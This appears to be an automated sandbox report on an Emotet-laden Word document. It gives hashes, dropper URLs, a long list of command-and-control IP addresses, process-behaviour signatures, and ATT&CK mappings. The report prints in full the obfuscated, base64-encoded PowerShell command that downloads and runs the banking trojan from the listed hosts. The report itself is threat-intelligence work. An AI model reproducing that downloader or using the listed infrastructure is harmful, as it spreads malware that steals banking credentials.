emotet | 20f0a0ba4cd0dac615e918dd489d36a9dbe9da8eccd28074379ccb9297f44202

General

Target
mes WF2859.doc
Size 121KB
Sample200904-xvdxc4ewfe
SHA256 20f0a0ba4cd0dac615e918dd489d36a9dbe9da8eccd28074379ccb9297f44202
MD5 da3f11f9dc6104575d4828f2d1732250
SHA1 c44b8c8cc9bcfec593fbd9aba067b88fa6df6d0a
SHA512 071abf3ab6968f43722602e0c904a21f12e3aaa868f4ba9756d87134a3ab7a2ab6e7dfca7728aa9ac02bb3f65965817e6cfbd3b9666a3602dee213e4ae59d530
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://must-in.com/wp-admin/Q/
exe.dropper
http://maximumwebimpact.com/test/rL9/
exe.dropper
http://aldama.com/www/jkm/
exe.dropper
http://www.bismarjeparamebel.com/wp-includes/SX/
exe.dropper
http://staniszczak.net/cpf/F/
exe.dropper
http://sriharshampromoters.com/sriharshaptr/8/
exe.dropper
https://twisterprint.com/stats/KsU/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3468	3948	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3468	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3668	Uzwko5gz0.exe
948	esentutl.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msrd2x40\esentutl.exe	Uzwko5gz0.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = f055b519ce82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3968	WINWORD.EXE
3968	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
948	esentutl.exe
948	esentutl.exe
948	esentutl.exe
948	esentutl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	648	svchost.exe
Token: SeCreatePagefilePrivilege	648	svchost.exe
Token: SeDebugPrivilege	3468	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3968	WINWORD.EXE
3668	Uzwko5gz0.exe
3668	Uzwko5gz0.exe
948	esentutl.exe
948	esentutl.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 3668	3468	powershell.exe	75
PID 3468 wrote to memory of 3668	3468	powershell.exe	75
PID 3468 wrote to memory of 3668	3468	powershell.exe	75
PID 3668 wrote to memory of 948	3668	Uzwko5gz0.exe	77
PID 3668 wrote to memory of 948	3668	Uzwko5gz0.exe	77
PID 3668 wrote to memory of 948	3668	Uzwko5gz0.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\mes WF2859.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
  "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\msrd2x40\esentutl.exe
    "C:\Windows\SysWOW64\msrd2x40\esentutl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/948-19-0x0000000002180000-0x000000000218D000-memory.dmp

Download

memory/948-20-0x0000000002190000-0x000000000219C000-memory.dmp

Download

memory/3468-9-0x00007FF904640000-0x00007FF90502C000-memory.dmp

Download

memory/3468-10-0x0000021106D90000-0x0000021106D91000-memory.dmp

Download

memory/3468-11-0x000002111F1D0000-0x000002111F1D1000-memory.dmp

Download

memory/3668-15-0x0000000000A60000-0x0000000000A6D000-memory.dmp

Download

memory/3668-16-0x0000000000A70000-0x0000000000A7C000-memory.dmp

Download

memory/3968-3-0x000001C600294000-0x000001C600297000-memory.dmp

Download

memory/3968-2-0x000001C600297000-0x000001C6002A8000-memory.dmp

Download

memory/3968-0-0x00007FF90B640000-0x00007FF90BD06000-memory.dmp

Download

memory/3968-1-0x000001C600294000-0x000001C600297000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads